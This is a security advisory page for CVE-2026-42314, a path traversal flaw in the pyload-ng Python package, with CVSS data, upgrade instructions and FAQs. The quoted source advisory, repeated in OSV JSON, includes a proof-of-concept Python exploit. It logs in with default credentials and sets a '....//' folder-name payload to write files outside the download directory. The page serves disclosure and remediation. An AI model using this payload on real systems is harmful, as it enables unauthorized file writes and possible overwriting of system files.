CVE-2026-42314: Pyload ng Path Traversal Vulnerability

MODERATE
Advisory Identifier: GHSA-97r3-5w84-r4q8
CVSS 6.5
CWE-22
Published
Advisory Summary

CVE-2026-42314 is a MODERATE (CVSS 6.5) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Pyload ng libraries in the PyPI ecosystem. The issue involves pyload vulnerable to path traversal via package folder name. Remediation is available by upgrading affected packages to version 0.5.0b3.dev100.

CVE-2026-42314 at a Glance

CVE Identifier CVE-2026-42314
GHSA Identifier GHSA-97r3-5w84-r4q8
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Pyload ng
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-42314

To remediate this vulnerability, upgrade all affected Pyload ng dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pyload-ng fixed: 0.5.0b3.dev100
pip install pyload-ng>=0.5.0b3.dev100
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show pyload-ng

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-42314, inspect your installed packages using pip:

pip show pyload-ng

Analyze the terminal output to locate any version of Pyload ng in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.5.0b3.dev100), your application is affected.

Note: The pip show pyload-ng command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Pyload ng, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

Insufficient sanitization of package folder names allows writing files outside the intended download directory. ## Affected Component - `src/pyload/core/api/__init__.py` - Function: `add_package()` ## Description Package folder names are sanitized using insufficient string replacement: ```python folder = ( folder.replace("http://", "") .replace("https://", "") .replace("../", "_") # Bypassable! .replace("..\\", "_") .replace(":", "") .replace("/", "_") .replace("\\", "_") ) ``` The `../` replacement is bypassable. The pattern `....//` becomes `.._` after replacement (partial removal), leaving `..` which can be exploited when the path is later resolved by the OS. ## Proof of Concept ### Setup ```bash pip install pyload-ng[all] pyload -d & # Default credentials: pyload / pyload ``` ### Exploit ```python #!/usr/bin/env python3 import requests BASE_URL = "http://localhost:8000" USERNAME = "pyload" PASSWORD = "pyload" session = requests.Session() # Login session.post(f"{BASE_URL}/login", data={ "username": USERNAME, "password": PASSWORD }) # Create package with malicious folder name # The pattern ....// bypasses the ../ replacement # After sanitization: .._ (still contains ..) folder_payload = "....//....//....//tmp/evil" resp = session.post(f"{BASE_URL}/api/add_package", json={ "name": "test_package", "links": ["http://example.com/file.txt"], "dest": 1 # Destination.QUEUE }) package_id = resp.json() print(f"Created package: {package_id}") # Set malicious folder name resp = session.post(f"{BASE_URL}/api/set_package_data", json={ "package_id": package_id, "data": {"folder": folder_payload} }) print(f"Set folder payload: {folder_payload}") print(f"Response: {resp.status_code}") # When download occurs, files will be written outside download dir print("[+] When a file is downloaded, it will be written to manipulated path") print(" The sanitized folder still contains '..' sequences that OS resolves") ``` ### Verification Check where files would be written: ```python import os download_dir = "/home/user/Downloads" folder = "....//....//....//tmp/evil" # Simulate pyLoad's sanitization sanitized = folder.replace("../", "_").replace("/", "_") print(f"After pyLoad sanitization: {sanitized}") # Output: .._.._.._tmp_evil # When pyLoad does os.path.join and then opens the file: final_path = os.path.join(download_dir, sanitized) print(f"Joined path: {final_path}") # Output: /home/user/Downloads/.._.._.._tmp_evil # The .. sequences remain and could be resolved by OS during file operations ``` ## Impact Authenticated users with ADD permission can: - Write files outside the download directory - Potentially overwrite system files (depending on permissions) - Clutter system directories with downloaded content

CVE-2026-42314 Affected Pyload ng Versions

1 component(s)
Fixed Versions:
0.5.0b3.dev100
Product / Package Ecosystem Affected Versions Fixed Version
pyload-ng
PyPI
< 0.5.0b3.dev100
0.5.0b3.dev100

References

Frequently Asked Questions

What is CVE-2026-42314?
CVE-2026-42314 is a security vulnerability in Pyload ng involving PyLoad Vulnerable to Path Traversal via Package Folder Name under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Pyload ng versions are affected?
Affected versions include releases prior to 0.5.0b3.dev100 across affected packages: pyload-ng.
What version fixes CVE-2026-42314?
Upgrading to 0.5.0b3.dev100 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pyload-ng affected?
Yes, pyload-ng is affected in releases prior to 0.5.0b3.dev100. Upgrade your dependency to 0.5.0b3.dev100 or later.
What is the CVSS score of CVE-2026-42314?
CVE-2026-42314 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-42314?
CVE-2026-42314 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check PyPI dependencies for CVE-2026-42314?
Run the dependency tree command: 'pip show pyload-ng'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-97r3-5w84-r4q8",
  "modified" : "2026-06-08T19:48:31Z",
  "published" : "2026-05-05T21:13:08Z",
  "aliases" : [ "CVE-2026-42314" ],
  "summary" : "PyLoad Vulnerable to Path Traversal via Package Folder Name",
  "details" : "Insufficient sanitization of package folder names allows writing files outside the intended download directory.\n\n## Affected Component\n- `src/pyload/core/api/__init__.py`\n- Function: `add_package()`\n\n## Description\nPackage folder names are sanitized using insufficient string replacement:\n\n```python\nfolder = (\n    folder.replace(\"http://\", \"\")\n    .replace(\"https://\", \"\")\n    .replace(\"../\", \"_\")  # Bypassable!\n    .replace(\"..\\\\\", \"_\")\n    .replace(\":\", \"\")\n    .replace(\"/\", \"_\")\n    .replace(\"\\\\\", \"_\")\n)\n```\n\nThe `../` replacement is bypassable. The pattern `....//` becomes `.._` after replacement (partial removal), leaving `..` which can be exploited when the path is later resolved by the OS.\n\n## Proof of Concept\n\n### Setup\n```bash\npip install pyload-ng[all]\npyload -d &\n# Default credentials: pyload / pyload\n```\n\n### Exploit\n```python\n#!/usr/bin/env python3\nimport requests\n\nBASE_URL = \"http://localhost:8000\"\nUSERNAME = \"pyload\"\nPASSWORD = \"pyload\"\n\nsession = requests.Session()\n\n# Login\nsession.post(f\"{BASE_URL}/login\", data={\n    \"username\": USERNAME,\n    \"password\": PASSWORD\n})\n\n# Create package with malicious folder name\n# The pattern ....// bypasses the ../ replacement\n# After sanitization: .._ (still contains ..)\nfolder_payload = \"....//....//....//tmp/evil\"\n\nresp = session.post(f\"{BASE_URL}/api/add_package\", json={\n    \"name\": \"test_package\",\n    \"links\": [\"http://example.com/file.txt\"],\n    \"dest\": 1  # Destination.QUEUE\n})\n\npackage_id = resp.json()\nprint(f\"Created package: {package_id}\")\n\n# Set malicious folder name\nresp = session.post(f\"{BASE_URL}/api/set_package_data\", json={\n    \"package_id\": package_id,\n    \"data\": {\"folder\": folder_payload}\n})\n\nprint(f\"Set folder payload: {folder_payload}\")\nprint(f\"Response: {resp.status_code}\")\n\n# When download occurs, files will be written outside download dir\nprint(\"[+] When a file is downloaded, it will be written to manipulated path\")\nprint(\"    The sanitized folder still contains '..' sequences that OS resolves\")\n```\n\n### Verification\nCheck where files would be written:\n```python\nimport os\n\ndownload_dir = \"/home/user/Downloads\"\nfolder = \"....//....//....//tmp/evil\"\n\n# Simulate pyLoad's sanitization\nsanitized = folder.replace(\"../\", \"_\").replace(\"/\", \"_\")\nprint(f\"After pyLoad sanitization: {sanitized}\")\n# Output: .._.._.._tmp_evil\n\n# When pyLoad does os.path.join and then opens the file:\nfinal_path = os.path.join(download_dir, sanitized)\nprint(f\"Joined path: {final_path}\")\n# Output: /home/user/Downloads/.._.._.._tmp_evil\n\n# The .. sequences remain and could be resolved by OS during file operations\n```\n\n## Impact\nAuthenticated users with ADD permission can:\n- Write files outside the download directory\n- Potentially overwrite system files (depending on permissions)\n- Clutter system directories with downloaded content",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pyload-ng"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.5.0b3.dev100"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.5.0b3.dev79"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pyload/pyload/security/advisories/GHSA-97r3-5w84-r4q8"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42314"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pyload/pyload"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-128.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-05T21:13:08Z",
    "nvd_published_at" : "2026-05-11T18:16:35Z"
  }
}